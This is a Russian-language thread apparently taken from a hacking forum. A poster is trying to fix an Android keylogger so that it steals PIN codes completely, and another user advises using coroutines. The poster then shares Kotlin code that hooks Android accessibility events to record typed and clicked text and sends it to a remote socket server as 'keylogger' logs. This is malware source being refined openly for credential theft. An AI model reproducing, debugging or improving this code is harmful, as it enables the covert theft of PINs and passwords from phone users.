• XSS.stack #1 – первый литературный журнал от юзеров форума

Android Java; Проблема с Keylogger (Hook)

Пытаюсь фиксануть чтоб пин-коды воровал (ворует только с обрывом)
Возможно что надо в потоках это реализовывать, корутины пробуй.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Возможно что надо в потоках это реализовывать, корутины пробуй.
Попробую
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Возможно что надо в потоках это реализовывать, корутины пробуй.
Примерно Так?
Код:
private fun keylogger(event: AccessibilityEvent) {
    if (SharedPreferences.keylogger == "1") {
        GlobalScope.launch(Dispatchers.IO) {
            try {
                val text = withContext(Dispatchers.Default) {
                    StringBuffer().apply {
                        when (event.eventType) {
                            AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED,
                            AccessibilityEvent.TYPE_VIEW_CLICKED,
                            AccessibilityEvent.TYPE_VIEW_FOCUSED -> append(event.text.toString())
                            AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED,
                            AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED -> {
                                if (event.contentChangeTypes and AccessibilityEvent.CONTENT_CHANGE_TYPE_TEXT != 0) {
                                    append(event.text.toString())
                                }
                            }
                        }
                    }.toString().trim()
                }

                text.takeIf { it.isNotEmpty() && it != "[]" }?.let { logText ->
                    val eventTypeTag = when (event.eventType) {
                        AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED -> "[TEXT_CHANGED]"
                        AccessibilityEvent.TYPE_VIEW_CLICKED -> "[VIEW_CLICKED]"
                        AccessibilityEvent.TYPE_VIEW_FOCUSED -> "[VIEW_FOCUSED]"
                        else -> "[OTHER]"
                    }

                    val logMessage = JSONObject(mapOf(eventTypeTag to logText)).toString()
                    Log.v("Logger", "$eventTypeTag $logText")
                    IOSocketyt.sendLogs("", logMessage, "keylogger")
                }
            } catch (e: Exception) {
                IOSocketyt.sendLogs("", "keylogger ${e.localizedMessage}", "error")
            }
        }
    }
}
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх